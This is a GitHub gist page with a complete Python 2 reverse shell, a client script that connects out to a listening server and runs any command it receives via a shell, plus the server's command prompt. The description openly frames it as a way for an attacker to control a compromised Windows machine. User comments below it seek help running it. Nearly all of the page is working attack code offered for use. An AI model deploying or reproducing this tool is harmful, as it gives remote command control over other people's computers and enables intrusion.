Skip to content

Instantly share code, notes, and snippets.

@mike10004
Last active February 12, 2024 17:52
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save mike10004/2291abeb8825b3f73fee to your computer and use it in GitHub Desktop.
Save mike10004/2291abeb8825b3f73fee to your computer and use it in GitHub Desktop.
Reverse Shell Using Python

Reverse Shell Using Python

Via http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ with some style changes (to use classes instead of globals).

Requirements:

  • a client: a Windows machine with Python installed (tested on Server 2012; probably works on 7 and 8 too)
  • a server: a Linux machine (might work elsewhere)

An attacker would use a pair of scripts like this to control a compromised Windows box from her command server. The idea is that you run revshell_server.py on the server in a terminal window (and just hang out as it listens for a connection). When the client executes revshell_client.py, a prompt will appear in the server console, awaiting commands.

Suppose your server IP address is 1.2.3.4

Execute on server:

$ python revshell_server.py

Execute on client:

C:\> python revshell_client.py 1.2.3.4
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_client.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import socket, os, subprocess, sys, re
class ReverseShellClient:
s = None
def connect(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = int(port)
try:
print '[!] trying to connect to %s:%s' % (host, port)
self.s.connect((host, port))
print '[*] connection established'
self.s.send(os.environ['COMPUTERNAME'])
except:
print >> sys.stderr, 'could not connect'
def receive(self):
received = self.s.recv(1024)
tokens = re.split('\s+', received, 1)
command = tokens[0]
if command == 'quit':
self.s.close()
elif command == 'shell':
if len(tokens) > 1:
proc2 = subprocess.Popen(tokens[1], shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output = proc2.stdout.read() + proc2.stderr.read()
else:
output = 'args must follow "shell"'
else:
output = 'valid input is "quit" or "shell <cmd>" (e.g. "shell dir")'
self.send(output)
def send(self, output):
self.s.send(output)
self.receive()
def stop():
self.s.close()
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('host')
p.add_argument('--port', '-p', type=int, default=58777)
args = p.parse_args()
client = ReverseShellClient()
client.connect(args.host, args.port)
client.receive()
client.stop()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_server.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import sys, os, os.path
import socket
class ReverseShellServer:
host = ''
port = None
s = None
max_bind_retries = 10
conn = None
addr = None
hostname = None
def create(self, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port = port
def bind(self, current_try=0):
try:
print "listening on port %s (attempt %d)" % (self.port, current_try)
self.s.bind((self.host, self.port))
self.s.listen(1)
except socket.error as msg:
print >> sys.stderr, 'socket binding error:', msg[0]
if current_try < self.max_bind_retries:
print >> sys.stderr, 'retrying...'
self.bind(current_try + 1)
def accept(self):
try:
self.conn, self.addr = self.s.accept()
print '[!] session opened at %s:%s' % (self.addr[0], self.addr[1])
self.hostname = self.conn.recv(1024)
self.menu()
except socket.error as msg:
print >> sys.stderr, 'socket accepting error:', msg[0]
def menu(self):
while True:
cmd = raw_input(str(self.addr[0]) + '@' + str(self.hostname) + '> ')
if cmd == 'quit':
self.conn.close()
self.s.close()
return
command = self.conn.send(cmd)
result = self.conn.recv(16834)
if result <> self.hostname:
print result
def main(args):
server = ReverseShellServer()
server.create(args.port)
server.bind()
server.accept()
print '[*] returned from socketAccept'
return 0
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('--port', '-p', type=int, default=58777)
args = p.parse_args()
code = main(args)
exit(code)
@LinuxSTAIN-zz
Copy link

I have been working on the code that is at nullbyte but i cant send commands.. actually get a successful connection between the two machines but am unable to pass commands.. I found your code here but i am a bit confused.. nowhere in the code do i see an ip address or port to assign.. I mean everywhere that i would assume these credentials would be is "none". I am assuming that I would have to "fill in the Nones"?? what am i missing here? besides being new to python?/ Thanks in advance

@rocka0
Copy link

rocka0 commented May 23, 2016

@LinuxSTAIN, I think you gotta give the IP address and port as arguments when running this script. That's why he creates an argument parser in the last lines of the code.

@stevenfonz
Copy link

Hello, just tested with code. Once interrupted by keyboard, below is the error message displayed on client side. Anyway to eliminate the error at client side?

Traceback (most recent call last):
File "revshell_client.py", line 57, in
client.receive()
File "revshell_client.py", line 40, in receive
self.send(output)
File "revshell_client.py", line 44, in send
self.receive()
File "revshell_client.py", line 24, in receive
received = self.s.recv(1024)
socket.error: [Errno 10054] An existing connection was forcibly closed by the remote host

@infoskirmish
Copy link

setup: windows (client) to linux (server)
running shell cd .. (on the server) seems to put the connection in an unstable state. By which I mean specifically from that point forward I cannot do anything but close out both connections... No errors given. Just an unresponsive server and client.

@CRO-THEHACKER
Copy link

for the 's' in Client what do you do??

@CRO-THEHACKER
Copy link

this is what it has:

s = None

max_bind_retries = 10

conn = NONE

addr = None

hostname = None

@CRO-THEHACKER
Copy link

File "revshell_server.py", line 25
print "listening on port %s (attempt %d)" % (self.port, current_try)
^
SyntaxError: invalid syntax

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment